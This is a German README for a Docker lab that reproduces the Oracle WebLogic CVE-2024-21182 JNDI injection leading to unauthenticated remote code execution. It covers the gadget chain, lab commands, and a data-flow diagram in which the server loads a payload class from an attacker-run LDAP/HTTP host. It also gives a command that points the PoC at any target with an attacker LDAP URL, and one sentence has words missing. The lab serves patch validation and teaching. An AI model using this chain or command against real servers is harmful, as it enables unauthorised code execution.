CVE-2024-21182 — Oracle WebLogic Server T3/IIOP JNDI Injection → RCE (Lab)

Ein eigenständiges, One-Command-Docker-Lab zur Reproduktion und Validierung der Oracle WebLogic Server OpaqueReference-JNDI-Injections-Schwachstellenfamilie (CVE-2024-21182, eine Patch-Umgehung von CVE-2023-21839) und deren Umsetzung in nicht authentifizierte Remotecodeausführung (RCE).

⚠️ Nur für autorisierte Sicherheitsforschung, Bildung und Patch-Validierung. Siehe HAFTUNGSAUSSCHLUSS. Führen Sie es nur gegen dieses Lab oder Systeme aus, die Ihnen gehören.

Was dies demonstriert

CVE-2024-21182 ist eine nicht authentifizierte Schwachstelle in der Core-Komponente von Oracle WebLogic Server, die über die T3/IIOP-Protokolle (Standard-Port 7001) erreichbar ist. Sie erlaubt einem Angreifer, ein präpariertes "Reference"-Objekt in den JNDI-Baum des Servers zu binden und eine serverseitige JNDI-Abfrage gegen eine vom Angreifer kontrollierte URL auszulösen — klassische JNDI-Injection, die zu RCE eskaliert.

Ursache

Ein WebLogic-Reference-Objekt wird während lookup() serverseitig von einer ObjectFactory aufgelöst, die eine verschachtelte JNDI-Abfrage gegen eine vom Angreifer bereitgestellte URL durchführt:

weblogic.jndi.internal.WLContextImpl.lookup
 → javax.naming.spi.NamingManager.getObjectInstance
   → weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
     → weblogic.application.naming.MessageDestinationReference.lookupMessageDestination  (Zeile 62)
       → new InitialContext().lookup( ldap://angreifer/… )      ← vom Angreifer kontrolliert, serverseitig

CVE-2023-21839 erreichte dies über weblogic.jndi.internal.ForeignOpaqueReference, das Oracle dann absicherte. CVE-2024-21182 umgeht diese Absicherung, indem es die gleiche ausländische Abfrage über weblogic.ejb.container.internal.AggregatableOpaqueReference erreicht, dessen privates referent-Feld reflektiv auf eine weblogic.application.naming.MessageDestinationReference gesetzt wird.

⚠️ Wichtig: Lab-Image vs. CVE-gelistete Versionen

Dieses Lab verwendet vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, gebündeltes JDK 1.8.0_151), da es das einzige frei weiterverbreitbare anfällige WebLogic-Image ist — die Versionen, die CVE-2024-21182 offiziell auflistet (12.2.1.4.0 / 14.1.1.0.0), erfordern eine Oracle-Lizenz und können hier nicht veröffentlicht werden.

Ehrlich gesagte Konsequenzen:

• Das Lab reproduziert zuverlässig die OpaqueReference-JNDI-Injection → RCE-Schwachstellenklasse, die mit den genauen CVE-2024-21182-Gadget-Klassen ausgeführt wird (AggregatableOpaqueReference + MessageDestinationReference).
• Es beweist nicht die Patch-Umgehungs-Eigenschaft selbst — 12.2.1.3 stammt aus der Zeit vor der CVE-2023-21839-Blacklist, daher gibt es auf diesem Image keinen zu umgehenden Patch. Um die Umgehung spezifisch zu demonstrieren, benötigen Sie einen lizenzierten 12.2.1.4-Build, der bis kurz vor dem Oct-2024-CPU gepatcht ist.
• RCE-Bein: funktioniert hier, weil JDK 1.8.0_151 vor 8u191 stammt und standardmäßig com.sun.jndi.ldap.object.trustURLCodebase=true (Remote-Codebase-Klassenladung). Auf modernen JDKs feuert die Injection immer noch (SSRF), aber RCE erfordert ein Gadget, das bereits im WebLogic-Klasspfad ist, anstatt einer Remote-Codebase.

Schnellstart

Voraussetzungen: Docker + Docker Compose v2. ~3 GB Image-Pull. Auf Apple Silicon läuft das Image unter linux/amd64-Emulation (langsamerer Kaltstart, 2–5 Min.).

git clone <dieses-repo>
cd CVE-2024-21182-lab
docker compose up -d        # startet: weblogic (:7001) + angreifer (LDAP/HTTP)
./validate.sh               # wartet auf Boot, feuert Exploit, gibt PASS/FAIL aus

Erwartetes Ende von ./validate.sh:

[+] RCE CONFIRMED — Befehl im WebLogic-Container ausgeführt als:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduziert (nicht authentifizierte T3-JNDI-Injection -> RCE)

Abbau:

docker compose down

Wie es funktioniert (die Einzelteile)

                 t3://weblogic:7001                         ldap://angreifer:1389/Evil
  PoC-Client  ───────────────────────►  WebLogic  ──────────────────────────────►  angreifer (LDAP)
 (in weblogic     bind() + lookup()      (Opfer)      serverseitige JNDI-Abfrage        gibt Reference zurück
  container)                                                                          {javaCodeBase=http://angreifer:8888/}
                                              │                                              │
                                              └──────────  GET /Exploit.class  ◄─────────────┘  (HTTP-Codebase)
                                                           lädt + instanziiert → static{} führt `id` aus

• poc/CVE_2024_21182.java — der T3-Client. Erstellt das bösartige AggregatableOpaqueReference, bind()et es, dann lookup() zur Auslösung der serverseitigen Auflösung. Parametrisiert: <t3-host:port> <ldap-url>. Es wird innerhalb des WebLogic-Containers von validate.sh kompiliert, da die Gadget-Klassen im vollständigen WebLogic-Modulsatz leben (nicht im weiterverbreitbaren Thin-Client), sodass hier keine Oracle-Jars mitgeliefert werden.
• exploit/ldap_server.py — minimaler bösartiger LDAP-Server, der eine JNDI Reference zurückgibt, plus ein HTTP-Server, der die Factory-Klasse hostet. Läuft im angreifer-Container, vom WebLogic aus über den Dienstnamen angreifer erreichbar.
• exploit/Exploit.java / Exploit.class — die Payload-Factory (Java 8 Bytecode). Ihr statischer Initialisierer führt / aus und schreibt die Ausgabe nach im Opfer. Harmlos von Natur aus — bearbeiten Sie es und führen Sie aus, um den Befehl zu ändern.

Die ClassCastException (Exploit cannot be cast to ObjectFactory), die Sie sehen werden, ist erwartet und kosmetisch — sie tritt nach dem bereits ausgeführten statischen Initialisierer (dem Payload) auf.

Validieren eines gepatchten / echten Zielsystems

Richten Sie den PoC an jeden T3-Endpunkt, den Sie zu testen autorisiert sind:

# von einem Host mit dem WebLogic Thin-Client aus oder passen Sie validate.sh an:
java -cp ".:wlthint3client.jar" CVE_2024_21182 ZIEL:7001 ldap://IHR_LDAP:1389/Evil

• Injection feuert (ausgehende LDAP sichtbar), kein RCE → JDK hat trustURLCodebase=false; Sie haben immer noch SSRF, und RCE ist möglicherweise über ein Classpath-Gadget möglich.
• Nichts feuert → der OpaqueReference-Pfad ist gepatcht (Oct-2024-CPU angewendet).

Abhilfe

• Patchen — wenden Sie das Oracle Critical Patch Update vom Oktober 2024 an.
• Netzwerk — schränken Sie T3/IIOP (7001) mit WebLogic-Verbindungsfiltern (weblogic.security.net.ConnectionFilterImpl) und Host-Firewalls ein.
• JDK — halten Sie com.sun.jndi.ldap.object.trustURLCodebase=false (Standard auf aktuellen JDKs); unterbricht das Remote-Codebase-RCE-Bein (nicht das Injection-Bein).
• Erkennung — ausgehende LDAP/RMI/DNS von der WebLogic-JVM zu nicht erlaubten Hosts; unerwartete Kindprozesse des WebLogic-Prozesses; T3-bind von *OpaqueReference-Typen.

Credits & Referenzen

• Öffentliches PoC-Gadget: k4it0k1d/CVE-2024-21182
• Angreifbares Image: vulhub (weblogic/CVE-2023-21839)
• Hintergrund: Oracle-CPU-Advisories; CVE-2023-21839-Forschung (WebLogic OpaqueReference-Familie)

HAFTUNGSAUSSCHLUSS

Dieses Projekt wird für autorisierte Sicherheitstests, defensive Validierung und Bildung veröffentlicht. Die anfällige Software läuft in einem isolierten Docker-Lab. Verwenden Sie diese Techniken nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie nicht ausdrücklich autorisiert sind zu testen. Die Autoren übernehmen keine Haftung für Missbrauch. Siehe LICENSE.